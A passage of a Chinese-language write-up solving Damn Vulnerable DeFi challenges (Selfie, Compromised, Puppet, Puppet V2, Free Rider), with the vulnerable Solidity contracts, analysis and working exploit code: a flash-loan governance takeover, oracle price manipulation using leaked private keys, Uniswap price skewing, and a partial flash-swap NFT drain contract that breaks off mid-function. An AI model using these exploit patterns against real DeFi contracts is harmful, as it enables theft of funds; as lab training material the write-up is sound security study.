uint256 private _actionCounter;
mapping(uint256 => GovernanceAction) private _actions;

constructor(address governanceToken) {
_governanceToken = DamnValuableTokenSnapshot(governanceToken);
_actionCounter = 1;
}

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender))
revert NotEnoughVotes(msg.sender);

if (target == address(this))
revert InvalidTarget();

if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();

actionId = _actionCounter;

_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});

unchecked { _actionCounter++; }

emit ActionQueued(actionId, msg.sender);
}

function executeAction(uint256 actionId) external payable returns (bytes memory) {
if(!_canBeExecuted(actionId))
revert CannotExecute(actionId);

GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);

emit ActionExecuted(actionId, msg.sender);

(bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
if (!success) {
if (returndata.length > 0) {
assembly {
revert(add(0x20, returndata), mload(returndata))
}
} else {
revert ActionFailed(actionId);
}
}

return returndata;
}

function getActionDelay() external pure returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}

function getGovernanceToken() external view returns (address) {
return address(_governanceToken);
}

function getAction(uint256 actionId) external view returns (GovernanceAction memory) {
return _actions[actionId];
}

function getActionCounter() external view returns (uint256) {
return _actionCounter;
}

/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];

if (actionToExecute.proposedAt == 0) // early exit
return false;

uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}

return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}

function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}

SelfiePool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SimpleGovernance.sol";

/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {

ERC20Snapshot public immutable token;
SimpleGovernance public immutable governance;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

error RepayFailed();
error CallerNotGovernance();
error UnsupportedCurrency();
error CallbackFailed();

event FundsDrained(address indexed receiver, uint256 amount);

modifier onlyGovernance() {
if (msg.sender != address(governance))
revert CallerNotGovernance();
_;
}

constructor(address _token, address _governance) {
token = ERC20Snapshot(_token);
governance = SimpleGovernance(_governance);
}

function maxFlashLoan(address _token) external view returns (uint256) {
if (address(token) == _token)
return token.balanceOf(address(this));
return 0;
}

function flashFee(address _token, uint256) external view returns (uint256) {
if (address(token) != _token)
revert UnsupportedCurrency();
return 0;
}

function flashLoan(
IERC3156FlashBorrower _receiver,
address _token,
uint256 _amount,
bytes calldata _data
) external nonReentrant returns (bool) {
if (_token != address(token))
revert UnsupportedCurrency();

token.transfer(address(_receiver), _amount);
if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS)
revert CallbackFailed();

if (!token.transferFrom(address(_receiver), address(this), _amount))
revert RepayFailed();

return true;
}

function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}
}

Analysis

这道题是让我们掏空借贷池里的代币,我们可以看到可以通过emergencyExit()函数实现这个想法,但是它有一个onlyGovernance的限制,所以我们可以去看SimpleGovernance合约,看看有没有什么方法去调用这个函数。

我们可以看到这个合约中executeAction()函数中有个call调用,可以完成我们所想。但我们需要把我们需要的calldata、value、target等构成GovernanceAction结构体并存入到_actions中。

要想实现这个功能我们要先看queueAction()函数,后两个检验不会影响我们,我们只需要看第一个检验即可,即我们要获得大于governanceToken代币的一半的数量。我们可以通过SelfiePool来借贷去过这个验证,同时我们需要在自己编写的onFlashLoan()函数中去调用queueAction()函数,去传入要构造的数据,当然在这之前我们需要先调用一遍token.snapshot(),因为不这样的话_governanceToken.getBalanceAtLastSnapshot(who)这部分获得的就是我们在借贷之前的余额(这是因为我们在_transfer()中是先执行的 _beforeTokenTransfer(from, to, amount)这一部分,再去执行余额上的加减,而不执行snapshot(),就会使我们获得之前压入数组中的余额值,即为0),同时还需要去授权借贷池以允许它转账,至此函数分析完毕,开始写攻击合约

Attack

SelfiePoolAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "../DamnValuableTokenSnapshot.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";

contract SelfiePoolAttack is IERC3156FlashBorrower{
DamnValuableTokenSnapshot public immutable token;
SelfiePool public pool;
SimpleGovernance public governance;


constructor(address _token,address _pool,address _governance){
token = DamnValuableTokenSnapshot(_token);
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
}

function Loan(bytes calldata data) public {
uint256 amount = token.balanceOf(address(pool));
pool.flashLoan(this, address(token), amount, data);
}

function onFlashLoan(address addr,address _token,uint256 _amount,uint256 _b,bytes calldata _data) external returns (bytes32){
token.snapshot();
governance.queueAction(address(pool), 0, _data);
token.approve(address(pool),_amount);
bytes32 CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
return CALLBACK_SUCCESS;
}

function attack() public{
governance.executeAction(1);
}
}
js
1
2
3
4
5
6

data = '0xa441d06700000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8';
const attack = await (await ethers.getContractFactory('SelfiePoolAttack',player)).deploy(token.address,pool.address,governance.address);
await attack.Loan(data);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await attack.attack();

Challenge #7 - Compromised

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:

1
2
3
4
5
6
7
8
9
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.

Code

TrustfulOracle.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "solady/src/utils/LibSort.sol";

/**
* @title TrustfulOracle
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A price oracle with a number of trusted sources that individually report prices for symbols.
* The oracle's price for a given symbol is the median price of the symbol over all sources.
*/
contract TrustfulOracle is AccessControlEnumerable {
uint256 public constant MIN_SOURCES = 1;
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

// Source address => (symbol => price)
mapping(address => mapping(string => uint256)) private _pricesBySource;

error NotEnoughSources();

event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice);

constructor(address[] memory sources, bool enableInitialization) {
if (sources.length < MIN_SOURCES)
revert NotEnoughSources();
for (uint256 i = 0; i < sources.length;) {
unchecked {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
++i;
}
}
if (enableInitialization)
_setupRole(INITIALIZER_ROLE, msg.sender);
}

// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices)
external
onlyRole(INITIALIZER_ROLE)
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for (uint256 i = 0; i < sources.length;) {
unchecked {
_setPrice(sources[i], symbols[i], prices[i]);
++i;
}
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}

function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
_setPrice(msg.sender, symbol, newPrice);
}

function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}

function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) {
uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE);
prices = new uint256[](numberOfSources);
for (uint256 i = 0; i < numberOfSources;) {
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
unchecked { ++i; }
}
}

function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return _pricesBySource[source][symbol];
}

function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = _pricesBySource[source][symbol];
_pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
}

TrustfulOracleInitializer.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { TrustfulOracle } from "./TrustfulOracle.sol";

/**
* @title TrustfulOracleInitializer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrustfulOracleInitializer {
event NewTrustfulOracle(address oracleAddress);

TrustfulOracle public oracle;

constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) {
oracle = new TrustfulOracle(sources, true);
oracle.setupInitialPrices(sources, symbols, initialPrices);
emit NewTrustfulOracle(address(oracle));
}
}

Exchange.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";

/**
* @title Exchange
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract Exchange is ReentrancyGuard {
using Address for address payable;

DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;

error InvalidPayment();
error SellerNotOwner(uint256 id);
error TransferNotApproved();
error NotEnoughFunds();

event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

constructor(address _oracle) payable {
token = new DamnValuableNFT();
token.renounceOwnership();
oracle = TrustfulOracle(_oracle);
}

function buyOne() external payable nonReentrant returns (uint256 id) {
if (msg.value == 0)
revert InvalidPayment();

// Price should be in [wei / NFT]
uint256 price = oracle.getMedianPrice(token.symbol());
if (msg.value < price)
revert InvalidPayment();

id = token.safeMint(msg.sender);
unchecked {
payable(msg.sender).sendValue(msg.value - price);
}

emit TokenBought(msg.sender, id, price);
}

function sellOne(uint256 id) external nonReentrant {
if (msg.sender != token.ownerOf(id))
revert SellerNotOwner(id);

if (token.getApproved(id) != address(this))
revert TransferNotApproved();

// Price should be in [wei / NFT]
uint256 price = oracle.getMedianPrice(token.symbol());
if (address(this).balance < price)
revert NotEnoughFunds();

token.transferFrom(msg.sender, address(this), id);
token.burn(id);

payable(msg.sender).sendValue(price);

emit TokenSold(msg.sender, id, price);
}

receive() external payable {}
}

Analysis

这道题是让我们获取交易所的所有ETH,首先我们来看交易所当中能获取ETH的函数,目前看来只有sellOne()函数能实现这个功能,但前提是我们需要有一个NFT去售卖,而我们想要一个NFT就需要调用buyOne()函数去购买,而一个NFT的售价为999 ETH,而我们只有0.1 ETH,金额不够怎么办,我们需要知道这个NFT的售价是由三个用户提供的报价,然后取得中间值得到的,那么我们有没有办法去修改他们的报价呢?

这时我们将目光放向题目提供的两串码,这是两串十六进制码,将它们解码一下就会得到两串私钥

1
2
3
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"

我们可以根据两串私钥登录他们的账户,进而修改报价,之后购买一个NFT,之后再将报价修改,再将其卖出即可

Attack

js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";

addr1 = new ethers.Wallet(privateKey1, ethers.provider);
addr2 = new ethers.Wallet(privateKey2, ethers.provider);

await oracle.connect(addr1).postPrice('DVNFT','0');
await oracle.connect(addr2).postPrice('DVNFT','0');

await exchange.connect(player).buyOne({value:1});

await oracle.connect(addr1).postPrice('DVNFT',INITIAL_NFT_PRICE);
await oracle.connect(addr2).postPrice('DVNFT',INITIAL_NFT_PRICE);

await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);

Challenge #8 - Puppet

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

Code

PuppetPool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
* @title PuppetPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetPool is ReentrancyGuard {
using Address for address payable;

uint256 public constant DEPOSIT_FACTOR = 2;

address public immutable uniswapPair;
DamnValuableToken public immutable token;

mapping(address => uint256) public deposits;

error NotEnoughCollateral();
error TransferFailed();

event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount);

constructor(address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}

// Allows borrowing tokens by first depositing two times their value in ETH
function borrow(uint256 amount, address recipient) external payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(amount);

if (msg.value < depositRequired)
revert NotEnoughCollateral();

if (msg.value > depositRequired) {
unchecked {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
}

unchecked {
deposits[msg.sender] += depositRequired;
}

// Fails if the pool doesn't have enough tokens in liquidity
if(!token.transfer(recipient, amount))
revert TransferFailed();

emit Borrowed(msg.sender, recipient, depositRequired, amount);
}

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
}

Analysis

这一题是让我们想办法获取借贷池中所有的token,我们可以看到如果想获得所有的token,需要两倍的ETH去抵押,但我们没有这么多该怎么办吗,这时我们看到题目合约不是写死了就需要两倍而是通过amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18这个来计算的,而其中_computeOraclePrice()这个函数是获取uniswapPairEthtoken的数量比值,我们可以在这里做文章,让uniswapPairethtoken的比例降低,从而使得我们需要抵押的eth减少

那么如何降低呢,我们可以是用uniswapPairtokenToEthSwapInput()函数用我们的token去换取一些eth,从而使得我们可以凭借我们现有的eth来掏空借贷池

(但目前我还不知道怎么使得它执行一次交易就能完成这些操作)

Attack

js
1
2
3
await token.connect(player).approve(uniswapExchange.address,PLAYER_INITIAL_TOKEN_BALANCE);
await uniswapExchange.connect(player).tokenToEthSwapInput(ethers.utils.parseEther( '1000' ),9,( await ethers.provider.getBlock( 'latest' )).timestamp * 2);
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE,player.address,{value:ethers.utils.parseEther( '20' )});

Challenge #9 - Puppet V2

The developers of the previous pool seem to have learned the lesson. And released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.

Code

PuppetV2Pool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";

interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}

/**
* @title PuppetV2Pool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetV2Pool {
using SafeMath for uint256;

address private _uniswapPair;
address private _uniswapFactory;
IERC20 private _token;
IERC20 private _weth;

mapping(address => uint256) public deposits;

event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);

constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress)
public
{
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniswapPair = uniswapPairAddress;
_uniswapFactory = uniswapFactoryAddress;
}

/**
* @notice Allows borrowing tokens by first depositing three times their value in WETH
* Sender must have approved enough WETH in advance.
* Calculations assume that WETH and borrowed token have same amount of decimals.
*/
function borrow(uint256 borrowAmount) external {
// Calculate how much WETH the user must deposit
uint256 amount = calculateDepositOfWETHRequired(borrowAmount);

// Take the WETH
_weth.transferFrom(msg.sender, address(this), amount);

// internal accounting
deposits[msg.sender] += amount;

require(_token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp);
}

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
uint256 depositFactor = 3;
return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether);
}

// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
}

Analysis

这道题看似换了计算方式,实则大同小异,只是把计算对象换为了tokenweth的比值,而我们需要存入$\frac{3}{10}$的借贷金,我们只需要通过uniswapv2swapExactTokensForTokens()函数用token来换取一些weth来降低比值即可,再将我们一部分ETH换为WETH即可

Attack

js
1
2
3
4
5
await token.connect(player).approve(uniswapRouter.address,PLAYER_INITIAL_TOKEN_BALANCE);
await uniswapRouter.connect(player).swapExactTokensForTokens(PLAYER_INITIAL_TOKEN_BALANCE,9n * 10n ** 18n,[token.address,weth.address],player.address,(await ethers.provider.getBlock('latest')).timestamp * 2);
await weth.connect(player).approve(lendingPool.address,30n * 10n ** 18n);
await weth.connect(player).deposit({ value: '19900000000000000000' });
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);

Challenge #10 - Free Rider

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

Code

FreeRiderRecovery.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/**
* @title FreeRiderRecovery
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver {
using Address for address payable;

uint256 private constant PRIZE = 45 ether;
address private immutable beneficiary;
IERC721 private immutable nft;
uint256 private received;

error NotEnoughFunding();
error CallerNotNFT();
error OriginNotBeneficiary();
error InvalidTokenID(uint256 tokenId);
error StillNotOwningToken(uint256 tokenId);

constructor(address _beneficiary, address _nft) payable {
if (msg.value != PRIZE)
revert NotEnoughFunding();
beneficiary = _beneficiary;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}

// Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
external
override
nonReentrant
returns (bytes4)
{
if (msg.sender != address(nft))
revert CallerNotNFT();

if (tx.origin != beneficiary)
revert OriginNotBeneficiary();

if (_tokenId > 5)
revert InvalidTokenID(_tokenId);

if (nft.ownerOf(_tokenId) != address(this))
revert StillNotOwningToken(_tokenId);

if (++received == 6) {
address recipient = abi.decode(_data, (address));
payable(recipient).sendValue(PRIZE);
}

return IERC721Receiver.onERC721Received.selector;
}
}

FreeRiderNFTMarketplace.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableNFT.sol";

/**
* @title FreeRiderNFTMarketplace
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderNFTMarketplace is ReentrancyGuard {
using Address for address payable;

DamnValuableNFT public token;
uint256 public offersCount;

// tokenId -> price
mapping(uint256 => uint256) private offers;

event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);

error InvalidPricesAmount();
error InvalidTokensAmount();
error InvalidPrice();
error CallerNotOwner(uint256 tokenId);
error InvalidApproval();
error TokenNotOffered(uint256 tokenId);
error InsufficientPayment();

constructor(uint256 amount) payable {
DamnValuableNFT _token = new DamnValuableNFT();
_token.renounceOwnership();
for (uint256 i = 0; i < amount; ) {
_token.safeMint(msg.sender);
unchecked { ++i; }
}
token = _token;
}

function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
uint256 amount = tokenIds.length;
if (amount == 0)
revert InvalidTokensAmount();

if (amount != prices.length)
revert InvalidPricesAmount();

for (uint256 i = 0; i < amount;) {
unchecked {
_offerOne(tokenIds[i], prices[i]);
++i;
}
}
}

function _offerOne(uint256 tokenId, uint256 price) private {
DamnValuableNFT _token = token; // gas savings

if (price == 0)
revert InvalidPrice();

if (msg.sender != _token.ownerOf(tokenId))
revert CallerNotOwner(tokenId);

if (_token.getApproved(tokenId) != address(this) && !_token.isApprovedForAll(msg.sender, address(this)))
revert InvalidApproval();

offers[tokenId] = price;

assembly { // gas savings
sstore(0x02, add(sload(0x02), 0x01))
}

emit NFTOffered(msg.sender, tokenId, price);
}

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length;) {
unchecked {
_buyOne(tokenIds[i]);
++i;
}
}
}

function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0)
revert TokenNotOffered(tokenId);

if (msg.value < priceToPay)
revert InsufficientPayment();

--offersCount;

// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

receive() external payable {}
}

Analysis

这道题卡了我非常之久,原因还是代码写的不够熟练,而这道题的问题其实很简单,有两个,一个是在FreeRiderNFTMarketplace这个合约中的buyMany()函数,在这个函数中当tokenIds[]的长度大于1,这个问题就会显现出来,因为当长度大于1时这个函数会多次调用_buyOne()函数,而这个函数中比较的是msg.value和单个NFT的价格,所以我们只需要一份的钱就可以购买多个NFT.

而第二个问题就是存在于_buyOne()当中,我们可以看到在这个函数中,是先将NFT给了购买者,再将钱转给NFT的所有者,而问题是此时NFT的所有者已经是购买者,所以钱也会给到购买者,而当我们一次性购买多个NFT的时候,我们就可以将这个池子中的ETH也掏走,而接下来就是购买资金的问题,我们可以通过uniswapv2来借贷weth代币,再将其转换成ETH,最终再利用多得的ETH还利息

Attack

FreeRiderNFTMarketplaceAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableNFT.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "solmate/src/tokens/WETH.sol";
import "./FreeRiderNFTMarketplace.sol";
import "./FreeRiderRecovery.sol";


contract FreeRiderNFTMarketplaceAttack is IUniswapV2Callee, IERC721Receiver{
address public nft;
address payable market;
address public pair;
FreeRiderRecovery public recovery;
address payable weth;
uint256 public length=0;
address public player;
constructor(address _nft, address payable _market, address _pair, address _recovery, address payable _weth, address _player){
nft = _nft;
market = _market;
pair = _pair;
recovery = FreeRiderRecovery(_recovery);
weth = _weth;
player = _player;
}

function Loan(uint256 amount) public{
bytes memory data = abi.encode(amount);
length=data.length;
IUniswapV2Pair(pair).swap(amount,0,address(this),data);
}

function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
uint256[] memory tokenIds = new uint256[](6);
for(uint i=0 ; i<6 ; i++)
{
tokenIds[i]=i;
}
